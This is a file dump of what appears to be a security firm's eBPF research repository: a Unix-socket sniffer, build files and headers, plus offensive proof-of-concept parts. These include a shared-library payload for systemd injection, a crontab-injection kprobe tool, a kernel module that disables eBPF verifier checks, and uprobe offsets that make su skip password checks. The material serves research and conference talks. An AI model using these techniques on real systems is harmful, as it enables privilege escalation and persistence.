├── README.md ├── unixdump ├── MANIFEST.in ├── setup.cfg ├── AUTHORS ├── Pipfile ├── unixdump │ ├── screen.py │ ├── tmux.py │ ├── session.py │ ├── term_wayland.py │ ├── ud2b.py │ ├── term_screen_x11.py │ ├── term_x11.py │ ├── term_screen_wayland.py │ ├── term_tmux_x11.py │ ├── term_tmux_wayland.py │ └── __init__.py ├── setup.py └── README.md ├── obie-trice-conjob ├── headers │ ├── linux │ │ ├── bpf.h │ │ └── stringify.h │ ├── perf-sys.h │ └── bpf_helpers.h ├── common │ ├── common_user_bpf.h │ ├── Makefile │ ├── bpf_load.h │ ├── common_user_bpf.c │ ├── common.mk │ └── bpf_load.c ├── Makefile ├── .gitignore ├── regs.h ├── README.md ├── conjob.c └── kern.c ├── talks ├── Evil_eBPF-DC27-v2.pdf ├── Kernel_Tracing_With_eBPF-35C3.pdf └── Fast_and_Easy_Tracing-NCC-OF-NYC.pdf ├── .gitmodules ├── glibcpwn ├── payload │ └── evil.c ├── README.md ├── findglibc.py └── pwnlibc.py ├── AUTHORS ├── yolo-ebpf ├── build.sh ├── Makefile ├── README.md └── yolo_ebpf.c ├── conjob ├── README.md └── conjob.py ├── uprobe-ulose ├── README.md └── uprobe.c └── LICENSE /README.md: -------------------------------------------------------------------------------- 1 | # Miscellaneous eBPF Tooling 2 | 3 | -------------------------------------------------------------------------------- /unixdump/MANIFEST.in: -------------------------------------------------------------------------------- 1 | include README.md ../LICENSE AUTHORS Pipfile 2 | -------------------------------------------------------------------------------- /obie-trice-conjob/headers/linux/bpf.h: -------------------------------------------------------------------------------- 1 | ../../libbpf/include/uapi/linux/bpf.h -------------------------------------------------------------------------------- /talks/Evil_eBPF-DC27-v2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/ebpf/HEAD/talks/Evil_eBPF-DC27-v2.pdf -------------------------------------------------------------------------------- /unixdump/setup.cfg: -------------------------------------------------------------------------------- 1 | [metadata] 2 | license_file = ../LICENSE 3 | 4 | [bdist_wheel] 5 | universal=0 6 | 7 | -------------------------------------------------------------------------------- /talks/Kernel_Tracing_With_eBPF-35C3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/ebpf/HEAD/talks/Kernel_Tracing_With_eBPF-35C3.pdf -------------------------------------------------------------------------------- /talks/Fast_and_Easy_Tracing-NCC-OF-NYC.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/ebpf/HEAD/talks/Fast_and_Easy_Tracing-NCC-OF-NYC.pdf -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "obie-trice-conjob/libbpf"] 2 | path = obie-trice-conjob/libbpf 3 | url = https://github.com/libbpf/libbpf 4 | -------------------------------------------------------------------------------- /glibcpwn/payload/evil.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | __attribute__((constructor)) 5 | void init() { 6 | syslog(LOG_CRIT, "hello 35c3!"); 7 | system("id > /tmp/evil"); 8 | } 9 | -------------------------------------------------------------------------------- /AUTHORS: -------------------------------------------------------------------------------- 1 | Creators: 2 | --------- 3 | - Jeff Dileo 4 | - Andy Olsen 5 | 6 | 7 | Maintainers: 8 | ------------ 9 | - Jeff Dileo 10 | - Andy Olsen 11 | 12 | 13 | Contributors: 14 | ------------- 15 | 16 | 17 | -------------------------------------------------------------------------------- /unixdump/AUTHORS: -------------------------------------------------------------------------------- 1 | Creators: 2 | --------- 3 | - Jeff Dileo 4 | - Andy Olsen 5 | 6 | 7 | Maintainers: 8 | ------------ 9 | - Jeff Dileo 10 | - Andy Olsen 11 | 12 | 13 | Contributors: 14 | ------------- 15 | 16 | 17 | -------------------------------------------------------------------------------- /yolo-ebpf/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | HOOK1_HEX=$(sudo cat /proc/kallsyms | grep -e 't check_reg_arg$' | awk '{print $1}') \ 4 | HOOK2_HEX=$(sudo cat /proc/kallsyms | grep -e 't __check_map_access$' | awk '{print $1}') \ 5 | make 6 | -------------------------------------------------------------------------------- /unixdump/Pipfile: -------------------------------------------------------------------------------- 1 | [[source]] 2 | url = "https://pypi.python.org/simple" 3 | verify_ssl = true 4 | 5 | [requires] 6 | python_version = "2.7" 7 | 8 | [packages] 9 | pybst = ">=1.0, <2" 10 | hexdump = ">=3.3, <4" 11 | 12 | [dev-packages] 13 | 14 | -------------------------------------------------------------------------------- /conjob/README.md: -------------------------------------------------------------------------------- 1 | # conjob 2 | 3 | Example BCC-based eBPF kprobe payload that intercepts reads for `/etc/crontab` 4 | to inject arbitrary content. 5 | 6 | ## Usage 7 | 8 | ```bash 9 | sudo python conjob.py '/usr/bin/id > /tmp/conjobid' 10 | ``` 11 | -------------------------------------------------------------------------------- /obie-trice-conjob/headers/linux/stringify.h: -------------------------------------------------------------------------------- 1 | #ifndef __LINUX_STRINGIFY_H 2 | #define __LINUX_STRINGIFY_H 3 | 4 | /* Indirect stringification. Doing two levels allows the parameter to be a 5 | * macro itself. For example, compile with -DFOO=bar, __stringify(FOO) 6 | * converts to "bar". 7 | */ 8 | 9 | #define __stringify_1(x...) #x 10 | #define __stringify(x...) __stringify_1(x) 11 | 12 | #endif /* !__LINUX_STRINGIFY_H */ 13 | -------------------------------------------------------------------------------- /obie-trice-conjob/common/common_user_bpf.h: -------------------------------------------------------------------------------- 1 | /* Common BPF functions used by userspace side programs */ 2 | #ifndef __COMMON_USER_BPF_H 3 | #define __COMMON_USER_BPF_H 4 | 5 | #include 6 | #include 7 | 8 | int load_bpf_object_from_buffer(unsigned char const* buf, size_t bufsz, size_t type, struct bpf_object** obj); 9 | int load_bpf_file_from_buffer(unsigned char const* buf, size_t bufsz); 10 | 11 | #endif /* __COMMON_USER_BPF_H */ 12 | 13 | -------------------------------------------------------------------------------- /glibcpwn/README.md: -------------------------------------------------------------------------------- 1 | # glibcpwn 2 | 3 | Injects shared libraries into systemd using BCC-based eBPF kprobes. 4 | 5 | ***Note:*** The offsets in the ROP payload used are specific to Ubuntu 18.04 6 | and may change over time. Use with caution, and, when in doubt, consult the 7 | SHA256 hashes in `pwnlibc.py`. Also, `pwnlibc.py` does not terminate after 8 | performing the injection, so make sure to `^C` it after it is done or it will 9 | perform the injection about once a minute. 10 | -------------------------------------------------------------------------------- /obie-trice-conjob/common/Makefile: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: (GPL-2.0) 2 | CC := gcc 3 | 4 | all: common_user_bpf.o bpf_load.o 5 | 6 | CFLAGS := -Wall 7 | 8 | LIBBPF_DIR = ../libbpf/src/ 9 | CFLAGS += -I$(LIBBPF_DIR)/root/usr/include/ -I../headers 10 | 11 | common_user_bpf.o: common_user_bpf.c common_user_bpf.h 12 | $(CC) $(CFLAGS) -c -o $@ $< 13 | 14 | bpf_load.o: bpf_load.c bpf_load.h 15 | $(CC) $(CFLAGS) -c -o $@ $< 16 | 17 | .PHONY: clean 18 | 19 | clean: 20 | rm -f *.o 21 | -------------------------------------------------------------------------------- /yolo-ebpf/Makefile: -------------------------------------------------------------------------------- 1 | CONFIG_MODULE_SIG=n 2 | 3 | ccflags-y := -std=gnu99 -Wno-declaration-after-statement \ 4 | -DHOOK1_HEX=$(HOOK1_HEX) \ 5 | -DHOOK2_HEX=$(HOOK2_HEX) 6 | 7 | obj-m += yolo_ebpf.o 8 | 9 | all: 10 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 11 | 12 | clean: 13 | rm -rf *.ko *.o *.o.ur-safe *.order *.symvers .cache.mk .tmp_versions/ .*.cmd *.mod.c 14 | 15 | install: yolo_ebpf.ko 16 | rmmod yolo_ebpf 17 | insmod yolo_ebpf.ko 18 | -------------------------------------------------------------------------------- /unixdump/unixdump/screen.py: -------------------------------------------------------------------------------- 1 | import sys 2 | def is_in_screen(): 3 | with open('/proc/self/status', 'r') as proc_stat: 4 | ppid = proc_stat.read().split('\n')[6].split('\t')[1] 5 | 6 | while (ppid != '1'): 7 | status_file = '/proc/{}/status'.format(ppid) 8 | with open(status_file, 'r') as proc_stat: 9 | stat_data = proc_stat.read().split('\n') 10 | comm = stat_data[0].split('\t')[1] 11 | ppid = stat_data[6].split('\t')[1] 12 | if comm.strip().lower() == 'screen': 13 | return True 14 | return False 15 | -------------------------------------------------------------------------------- /unixdump/unixdump/tmux.py: -------------------------------------------------------------------------------- 1 | import sys 2 | def is_in_tmux(): 3 | with open('/proc/self/status', 'r') as proc_stat: 4 | ppid = proc_stat.read().split('\n')[6].split('\t')[1] 5 | 6 | while (ppid != '1'): 7 | status_file = '/proc/{}/status'.format(ppid) 8 | with open(status_file, 'r') as proc_stat: 9 | stat_data = proc_stat.read().split('\n') 10 | comm = stat_data[0].split('\t')[1] 11 | ppid = stat_data[6].split('\t')[1] 12 | if comm.strip()[:4].lower() == 'tmux': 13 | return True 14 | return False 15 | -------------------------------------------------------------------------------- /obie-trice-conjob/Makefile: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: (GPL-2.0 OR BSD-2-Clause) 2 | 3 | XDP_TARGETS := kern 4 | USER_TARGETS := conjob 5 | 6 | LLC ?= llc 7 | CLANG ?= clang 8 | CC := gcc 9 | 10 | LIBBPF_DIR = ./libbpf/src/ 11 | COMMON_DIR = ./common/ 12 | HEADERS_DIR = ./headers/ 13 | 14 | #COMMON_OBJS := $(COMMON_DIR)/common_libbpf.o 15 | COMMON_OBJS := $(COMMON_DIR)/bpf_load.o 16 | COMMON_OBJS += $(COMMON_DIR)/common_user_bpf.o 17 | 18 | include $(COMMON_DIR)/common.mk 19 | 20 | CFLAGS += -I $(COMMON_DIR) 21 | 22 | kern.o: regs.h 23 | conjob.o: kern.o.h 24 | -------------------------------------------------------------------------------- /yolo-ebpf/README.md: -------------------------------------------------------------------------------- 1 | # yolo-ebpf 2 | 3 | Redirects a few internal eBPF functions to hook impls that disable/bypass a 4 | couple of the poorly thought out validation checks that get in the way of 5 | writing eBPF-based tracers. 6 | 7 | ***NOTE:*** This enables running unsafe eBPF code, but that's the eBPF's 8 | validator's fault for randomly flipping between allowing and rejecting 9 | perfectly fine code across minor kernel and compiler toolchain updates. 10 | Please don't use this in productioon. 11 | 12 | # Setup 13 | 14 | (Install your kernel headers first.) 15 | 16 | ``` 17 | ./build.sh && sudo rmmod yolo_ebpf; sudo insmod yolo_ebpf.ko 18 | ``` 19 | 20 | ***Note:*** Not tested against current kernel versions... 21 | -------------------------------------------------------------------------------- /obie-trice-conjob/.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | *.s 10 | *.ll 11 | 12 | # Generated files 13 | *.o.h 14 | 15 | # Linker output 16 | *.ilk 17 | *.map 18 | *.exp 19 | 20 | # Precompiled Headers 21 | *.gch 22 | *.pch 23 | 24 | # Libraries 25 | *.lib 26 | *.a 27 | *.la 28 | *.lo 29 | 30 | # Shared objects (inc. Windows DLLs) 31 | *.dll 32 | *.so 33 | *.so.* 34 | *.dylib 35 | 36 | # Executables 37 | *.exe 38 | *.out 39 | *.app 40 | *.i*86 41 | *.x86_64 42 | *.hex 43 | 44 | # Debug files 45 | *.dSYM/ 46 | *.su 47 | *.idb 48 | *.pdb 49 | 50 | # Kernel Module Compile Results 51 | *.mod* 52 | *.cmd 53 | .tmp_versions/ 54 | modules.order 55 | Module.symvers 56 | Mkfile.old 57 | dkms.conf 58 | 59 | # The xdp_loader program 60 | xdp_loader 61 | 62 | *.swp 63 | *.o.h 64 | 65 | conjob 66 | 67 | -------------------------------------------------------------------------------- /unixdump/unixdump/session.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | def get_session_type(): 5 | # attempt to get xdg_session_type from env 6 | try: 7 | session = os.environ['XDG_SESSION_TYPE'] 8 | return session 9 | except KeyError as ex: 10 | # get xdg_session_type from a parent process 11 | with open('/proc/self/environ', 'r') as proc_env: 12 | environment = proc_env.read() 13 | with open('/proc/self/status', 'r') as proc_stat: 14 | ppid = proc_stat.read().split('\n')[6].split('\t')[1] 15 | 16 | while (ppid != '1'): 17 | for e in environment.split('\x00'): 18 | if e != '': 19 | if e.split('=')[0] == 'XDG_SESSION_TYPE': 20 | session = e.split('=')[1] 21 | return session 22 | 23 | with open('/proc/{}/status'.format(ppid), 'r') as proc_stat: 24 | ppid = proc_stat.read().split('\n')[6].split('\t')[1] 25 | with open('/proc/{}/environ'.format(ppid), 'r') as proc_env: 26 | environment = proc_env.read() 27 | 28 | sys.stderr.write('XDG_SESSION_TYPE not found\n') 29 | sys.exit(1) 30 | -------------------------------------------------------------------------------- /obie-trice-conjob/regs.h: -------------------------------------------------------------------------------- 1 | #ifndef REGS_H 2 | #define REGS_H 3 | 4 | struct pt_regs { 5 | /* 6 | * C ABI says these regs are callee-preserved. They aren't saved on kernel entry 7 | * unless syscall needs a complete, fully filled "struct pt_regs". 8 | */ 9 | unsigned long r15; 10 | unsigned long r14; 11 | unsigned long r13; 12 | unsigned long r12; 13 | unsigned long bp; 14 | unsigned long bx; 15 | /* These regs are callee-clobbered. Always saved on kernel entry. */ 16 | unsigned long r11; 17 | unsigned long r10; 18 | unsigned long r9; 19 | unsigned long r8; 20 | unsigned long ax; 21 | unsigned long cx; 22 | unsigned long dx; 23 | unsigned long si; 24 | unsigned long di; 25 | /* 26 | * On syscall entry, this is syscall#. On CPU exception, this is error code. 27 | * On hw interrupt, it's IRQ number: 28 | */ 29 | unsigned long orig_ax; 30 | /* Return frame for iretq */ 31 | unsigned long ip; 32 | unsigned long cs; 33 | unsigned long flags; 34 | unsigned long sp; 35 | unsigned long ss; 36 | /* top of stack page */ 37 | }; 38 | 39 | #endif 40 | -------------------------------------------------------------------------------- /unixdump/unixdump/term_wayland.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | from subprocess import check_output 4 | def get_wayland_current_terminal_pid(): 5 | 6 | term_pids = [] 7 | # retrieve pids using /dev/ptmx i.e. terminal emulators 8 | with open(os.devnull, 'w') as DEVNULL: 9 | window_pids = check_output(['fuser','/dev/ptmx'], shell=False, stderr=DEVNULL).strip().split(' ') 10 | 11 | # begin going up procfs, getting ppid of our parent's parent process 12 | with open('/proc/self/status', 'r') as proc_stat: 13 | ppid = proc_stat.read().split('\n')[6].split('\t')[1] 14 | status_file = '/proc/{}/status'.format(ppid) 15 | with open(status_file, 'r') as proc_stat: 16 | ppid = proc_stat.read().split('\n')[6].split('\t')[1] 17 | 18 | # keep going up procfs, if pid is 1 we've hit the top 19 | while (ppid != '1'): 20 | for wp in window_pids: 21 | if (ppid == wp): 22 | term_pids.append(int(ppid)) 23 | return term_pids 24 | 25 | status_file = '/proc/{}/status'.format(ppid) 26 | with open(status_file, 'r') as proc_stat: 27 | stat_data = proc_stat.read().split('\n') 28 | ppid = stat_data[6].split('\t')[1] 29 | 30 | 31 | sys.stderr.write('terminal not found\n') 32 | sys.exit(1) 33 | -------------------------------------------------------------------------------- /unixdump/unixdump/ud2b.py: -------------------------------------------------------------------------------- 1 | import hexdump 2 | import sys 3 | import os 4 | 5 | def extract_buffer(filename): 6 | if not os.path.isfile(filename): 7 | sys.stderr.write('{} is not a file\n'.format(filename)) 8 | sys.exit(1) 9 | 10 | with open(filename, 'r') as infile: 11 | content = infile.readlines() 12 | 13 | hex_data_server = '' 14 | hex_data_client = '' 15 | 16 | for l in content: 17 | if '>' == l[:1]: 18 | if l != '> \n': 19 | hex_data_client = hex_data_client + l[2:] 20 | if '<' == l[:1]: 21 | if l != '< \n': 22 | hex_data_server = hex_data_server + l[2:] 23 | 24 | if hex_data_client == '' and hex_data_server == '': 25 | print("no unixdump data found") 26 | sys.exit(1) 27 | 28 | if hex_data_client != '': 29 | client_filename = "{}.client".format(filename) 30 | print('Client file created: {}'.format(client_filename)) 31 | with open(client_filename, 'wb') as coutfile: 32 | coutfile.write(hexdump.restore(hex_data_client)) 33 | 34 | if hex_data_server != '': 35 | server_filename = "{}.server".format(filename) 36 | print('Server file created: {}'.format(server_filename)) 37 | with open(server_filename, 'wb') as soutfile: 38 | soutfile.write(hexdump.restore(hex_data_server)) 39 | -------------------------------------------------------------------------------- /unixdump/unixdump/term_screen_x11.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | from subprocess import check_output 4 | def get_screen_x11_current_terminal_pid(): 5 | term_pids = [] 6 | if (not os.path.exists('/usr/bin/wmctrl')): 7 | sys.stderr.write('command not found: wmctrl\n') 8 | sys.stderr.write('\texcludeownterminal requires wmctrl\n') 9 | sys.exit(1) 10 | # get pids of all windows 11 | window_pids = [pid.split(' ')[3] for pid in check_output(['wmctrl','-lp'], 12 | shell=False).strip().split('\n')] 13 | # remove duplicates 14 | window_pids = list(set(window_pids)) 15 | 16 | with open('/proc/self/status', 'r') as proc_stat: 17 | ppid = proc_stat.read().split('\n')[6].split('\t')[1] 18 | status_file = '/proc/{}/status'.format(ppid) 19 | with open(status_file, 'r') as proc_stat: 20 | ppid = proc_stat.read().split('\n')[6].split('\t')[1] 21 | 22 | while (ppid != '1'): 23 | for wp in window_pids: 24 | if (ppid == wp): 25 | term_pids.append(int(ppid)) 26 | return term_pids 27 | 28 | status_file = '/proc/{}/status'.format(ppid) 29 | with open(status_file, 'r') as proc_stat: 30 | stat_data = proc_stat.read().split('\n') 31 | ppid = stat_data[6].split('\t')[1] 32 | 33 | sys.stderr.write('terminal not found\n') 34 | sys.exit(1) 35 | -------------------------------------------------------------------------------- /unixdump/setup.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | from setuptools import setup 4 | 5 | setup( 6 | name='unixdump', 7 | version='1.2.0', 8 | description='eBPF-based namespace-agnostic tcpdump-alike for Unix domain sockets', 9 | long_description=open('README.md').read(), 10 | long_description_content_type='text/markdown', 11 | author='Andy Olsen, Jeff Dileo', 12 | author_email='andy.olsen@nccgroup.com, jeff.dileo@nccgroup.com', 13 | url='https://github.com/nccgroup/ebpf', 14 | license='GPLv2 (Only)/BSD (2 Clause)', 15 | 16 | python_requires='>=3.5.0', 17 | #platforms=['linux'], #ignored by setuptools/distutils 18 | install_requires=[ 19 | 'pybst >=1.0, <2', 20 | 'hexdump >=3.3, <4', 21 | 'uninstallable > 0;platform_system!="Linux"', 22 | ], 23 | include_package_data=True, 24 | packages=['unixdump'], 25 | 26 | entry_points={ 27 | 'console_scripts': [ 28 | 'unixdump=unixdump:main', 29 | ], 30 | }, 31 | classifiers=[ 32 | 'License :: OSI Approved :: GNU General Public License v2 (GPLv2)', 33 | 'License :: OSI Approved :: BSD License', 34 | 'Programming Language :: Python :: 3.5', 35 | 'Operating System :: POSIX :: Linux', 36 | 'Topic :: System :: Networking :: Monitoring', 37 | 'Topic :: System :: Operating System Kernels :: Linux', 38 | 'Topic :: Security' 39 | ], 40 | keywords='unixdump packet capture pcap unix domain sockets tcpdump ebpf' 41 | ) 42 | -------------------------------------------------------------------------------- /unixdump/unixdump/term_x11.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | from subprocess import check_output 4 | def get_x11_current_terminal_pid(): 5 | 6 | term_pids = [] 7 | if (not os.path.exists('/usr/bin/wmctrl')): 8 | sys.stderr.write('command not found: wmctrl\n') 9 | sys.stderr.write('\texcludeownterminal requires wmctrl\n') 10 | sys.exit(1) 11 | 12 | # get pids of all windows 13 | window_pids = [pid.split(' ')[3] for pid in check_output(['wmctrl','-lp'], 14 | shell=False).strip().split('\n')] 15 | # remove duplicates 16 | window_pids = list(set(window_pids)) 17 | 18 | # begin going up procfs, getting ppid of our parent's parent process 19 | with open('/proc/self/status', 'r') as proc_stat: 20 | ppid = proc_stat.read().split('\n')[6].split('\t')[1] 21 | 22 | status_file = '/proc/{}/status'.format(ppid) 23 | with open(status_file, 'r') as proc_stat: 24 | ppid = proc_stat.read().split('\n')[6].split('\t')[1] 25 | 26 | # keep going up procfs, if pid is 1 we've hit the top 27 | while (ppid != '1'): 28 | for wp in window_pids: 29 | if (ppid == wp): 30 | term_pids.append(int(ppid)) 31 | return term_pids 32 | 33 | status_file = '/proc/{}/status'.format(ppid) 34 | with open(status_file, 'r') as proc_stat: 35 | stat_data = proc_stat.read().split('\n') 36 | ppid = stat_data[6].split('\t')[1] 37 | 38 | 39 | sys.stderr.write('terminal not found\n') 40 | sys.exit(1) 41 | -------------------------------------------------------------------------------- /unixdump/unixdump/term_screen_wayland.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | from subprocess import check_output 4 | def get_screen_wayland_current_terminal_pid(): 5 | 6 | term_pids = [] 7 | # retrieve pids using /dev/ptmx i.e. terminal emulators 8 | with open(os.devnull, 'w') as DEVNULL: 9 | window_pids = check_output(['fuser','/dev/ptmx'], shell=False, stderr=DEVNULL).strip().split(' ') 10 | 11 | wp_no_screen = [] 12 | # remove screen from pid list 13 | for wp in window_pids: 14 | comm_file = '/proc/{}/comm'.format(wp) 15 | if open(comm_file, 'r').read().strip().lower() != 'screen': 16 | wp_no_screen.append(wp) 17 | window_pids = wp_no_screen 18 | 19 | with open('/proc/self/status', 'r') as proc_stat: 20 | ppid = proc_stat.read().split('\n')[6].split('\t')[1] 21 | status_file = '/proc/{}/status'.format(ppid) 22 | with open(status_file, 'r') as proc_stat: 23 | ppid = proc_stat.read().split('\n')[6].split('\t')[1] 24 | 25 | ### this doesn't work, copied from term_screen_x11 ### 26 | ### need to get screen client pids ### 27 | while (ppid != '1'): 28 | for wp in window_pids: 29 | if (ppid == wp): 30 | term_pids.append(int(ppid)) 31 | return term_pids 32 | 33 | status_file = '/proc/{}/status'.format(ppid) 34 | with open(status_file, 'r') as proc_stat: 35 | stat_data = proc_stat.read().split('\n') 36 | ppid = stat_data[6].split('\t')[1] 37 | 38 | sys.stderr.write('terminal not found\n') 39 | sys.exit(1) 40 | -------------------------------------------------------------------------------- /uprobe-ulose/README.md: -------------------------------------------------------------------------------- 1 | # Linux perf_event_open(2) uprobe wrapper 2 | 3 | This code is a very small wrapper around `perf_event_open(2)` that sets uprobes 4 | from pairs of file paths and file offsets (in hex). 5 | 6 | # Building 7 | 8 | ``` console 9 | $ gcc -std=c11 -Wall -Wextra -pedantic -o uprobe uprobe.c 10 | ``` 11 | 12 | # Running 13 | 14 | ***Note:*** Be extremely careful with uprobes. If not confined to a specific 15 | PID (which requires more than just CAP_PERFMON on Linux 5.8+), they will be 16 | applied to all existing processes, not just new ones. If you select an offset 17 | that is not the start of an intended instruction, you may bring down the whole 18 | system (i.e. if you uprobed libc.so at an offset that made `free(3)` not 19 | ignore NULL pointers, or that caused the stack pointer to become misaligned 20 | during process initialization, etc.) ...or worse. Additionally, be careful 21 | about the ordering of multiple such "offset-offset" uprobes as they are applied 22 | serially. 23 | 24 | ``` 25 | # ./uprobe [pid] /path/to/exe/or/so 0x0ff5e7 /path/to/exe/or/so2 0x0ff5e72 ... 26 | ``` 27 | 28 | For example, one such example on Ubuntu 20.04 with the below su and libc.so 29 | binaries causes invocations of `su` to skip password checks >50% of the time. 30 | 31 | ``` 32 | $ shasum -a 256 /usr/bin/su /usr/lib/x86_64-linux-gnu/libc.so.6 33 | 9d1fda070610581427db17af53c510ae515df64427dab9a43f04e30606153d03 /usr/bin/su 34 | 4db473e38da06f7b1ad54ef117a184e08ffda27bbbb5329d03831186e3e533c8 /usr/lib/x86_64-linux-gnu/libc.so.6 35 | # ./uprobe /bin/su 0x5c51 /usr/lib/x86_64-linux-gnu/libc.so.6 0x8502d 36 | ``` 37 | -------------------------------------------------------------------------------- /obie-trice-conjob/headers/perf-sys.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 */ 2 | /* Copied from $(LINUX)/tools/perf/perf-sys.h (kernel 4.18) */ 3 | #ifndef _PERF_SYS_H 4 | #define _PERF_SYS_H 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | /* 12 | * remove the following headers to allow for userspace program compilation 13 | * #include 14 | * #include 15 | */ 16 | #ifdef __powerpc__ 17 | #define CPUINFO_PROC {"cpu"} 18 | #endif 19 | 20 | #ifdef __s390__ 21 | #define CPUINFO_PROC {"vendor_id"} 22 | #endif 23 | 24 | #ifdef __sh__ 25 | #define CPUINFO_PROC {"cpu type"} 26 | #endif 27 | 28 | #ifdef __hppa__ 29 | #define CPUINFO_PROC {"cpu"} 30 | #endif 31 | 32 | #ifdef __sparc__ 33 | #define CPUINFO_PROC {"cpu"} 34 | #endif 35 | 36 | #ifdef __alpha__ 37 | #define CPUINFO_PROC {"cpu model"} 38 | #endif 39 | 40 | #ifdef __arm__ 41 | #define CPUINFO_PROC {"model name", "Processor"} 42 | #endif 43 | 44 | #ifdef __mips__ 45 | #define CPUINFO_PROC {"cpu model"} 46 | #endif 47 | 48 | #ifdef __arc__ 49 | #define CPUINFO_PROC {"Processor"} 50 | #endif 51 | 52 | #ifdef __xtensa__ 53 | #define CPUINFO_PROC {"core ID"} 54 | #endif 55 | 56 | #ifndef CPUINFO_PROC 57 | #define CPUINFO_PROC { "model name", } 58 | #endif 59 | 60 | static inline int 61 | sys_perf_event_open(struct perf_event_attr *attr, 62 | pid_t pid, int cpu, int group_fd, 63 | unsigned long flags) 64 | { 65 | int fd; 66 | 67 | fd = syscall(__NR_perf_event_open, attr, pid, cpu, 68 | group_fd, flags); 69 | 70 | #ifdef HAVE_ATTR_TEST 71 | if (unlikely(test_attr__enabled)) 72 | test_attr__open(attr, pid, cpu, fd, group_fd, flags); 73 | #endif 74 | return fd; 75 | } 76 | 77 | #endif /* _PERF_SYS_H */ 78 | -------------------------------------------------------------------------------- /obie-trice-conjob/common/bpf_load.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 */ 2 | #ifndef __BPF_LOAD_H 3 | #define __BPF_LOAD_H 4 | 5 | #include 6 | 7 | #define MAX_MAPS 32 8 | #define MAX_PROGS 32 9 | 10 | struct bpf_load_map_def { 11 | unsigned int type; 12 | unsigned int key_size; 13 | unsigned int value_size; 14 | unsigned int max_entries; 15 | unsigned int map_flags; 16 | unsigned int inner_map_idx; 17 | unsigned int numa_node; 18 | }; 19 | 20 | struct bpf_map_data { 21 | int fd; 22 | char *name; 23 | size_t elf_offset; 24 | struct bpf_load_map_def def; 25 | }; 26 | 27 | typedef void (*fixup_map_cb)(struct bpf_map_data *map, int idx); 28 | 29 | extern int prog_fd[MAX_PROGS]; 30 | extern int event_fd[MAX_PROGS]; 31 | extern char bpf_log_buf[BPF_LOG_BUF_SIZE]; 32 | extern int prog_cnt; 33 | 34 | /* There is a one-to-one mapping between map_fd[] and map_data[]. 35 | * The map_data[] just contains more rich info on the given map. 36 | */ 37 | extern int map_fd[MAX_MAPS]; 38 | extern struct bpf_map_data map_data[MAX_MAPS]; 39 | extern int map_data_count; 40 | 41 | /* parses elf file compiled by llvm .c->.o 42 | * . parses 'maps' section and creates maps via BPF syscall 43 | * . parses 'license' section and passes it to syscall 44 | * . parses elf relocations for BPF maps and adjusts BPF_LD_IMM64 insns by 45 | * storing map_fd into insn->imm and marking such insns as BPF_PSEUDO_MAP_FD 46 | * . loads eBPF programs via BPF syscall 47 | * 48 | * One ELF file can contain multiple BPF programs which will be loaded 49 | * and their FDs stored stored in prog_fd array 50 | * 51 | * returns zero on success 52 | */ 53 | int load_bpf_file(char *path); 54 | int load_bpf_file_fixup_map(const char *path, fixup_map_cb fixup_map); 55 | 56 | void read_trace_pipe(void); 57 | int bpf_set_link_xdp_fd(int ifindex, int fd, __u32 flags); 58 | #endif 59 | -------------------------------------------------------------------------------- /obie-trice-conjob/common/common_user_bpf.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include 8 | #include 9 | 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | 21 | #include "../common/bpf_load.h" 22 | 23 | int load_bpf_object_from_buffer(unsigned char const* buf, size_t bufsz, size_t type, struct bpf_object** obj) { 24 | errno = 0; 25 | int fd = memfd_create("bpf", MFD_CLOEXEC); 26 | if (fd == -1) { 27 | perror("memfd_create"); 28 | return -1; 29 | } 30 | 31 | ftruncate(fd, bufsz); 32 | char* mem = mmap(NULL, bufsz, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); 33 | memcpy(mem, buf, bufsz); 34 | 35 | char path[PATH_MAX]; 36 | snprintf(path, sizeof(path), "/proc/self/fd/%d", fd); 37 | 38 | int first_prog_fd = -1; 39 | int err = bpf_prog_load(path, type, obj, &first_prog_fd); 40 | if (err) { 41 | fprintf(stderr, "ERR: loading BPF-OBJ file (%d): %s\n", err, strerror(-err)); 42 | first_prog_fd = -1; 43 | } 44 | 45 | munmap(mem, bufsz); 46 | close(fd); 47 | 48 | return first_prog_fd; 49 | } 50 | 51 | int load_bpf_file_from_buffer(unsigned char const* buf, size_t bufsz) { 52 | errno = 0; 53 | int fd = memfd_create("bpf", MFD_CLOEXEC); 54 | if (fd == -1) { 55 | perror("memfd_create"); 56 | return 0; 57 | } 58 | 59 | ftruncate(fd, bufsz); 60 | char* mem = mmap(NULL, bufsz, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); 61 | memcpy(mem, buf, bufsz); 62 | 63 | char path[PATH_MAX]; 64 | snprintf(path, sizeof(path), "/proc/self/fd/%d", fd); 65 | 66 | if (load_bpf_file(path)) { 67 | //fprintf(stderr, "Error loading BPF file:\n%s\n", bpf_log_buf); 68 | return 0; 69 | } 70 | 71 | munmap(mem, bufsz); 72 | close(fd); 73 | 74 | return 1; 75 | } 76 | -------------------------------------------------------------------------------- /obie-trice-conjob/README.md: 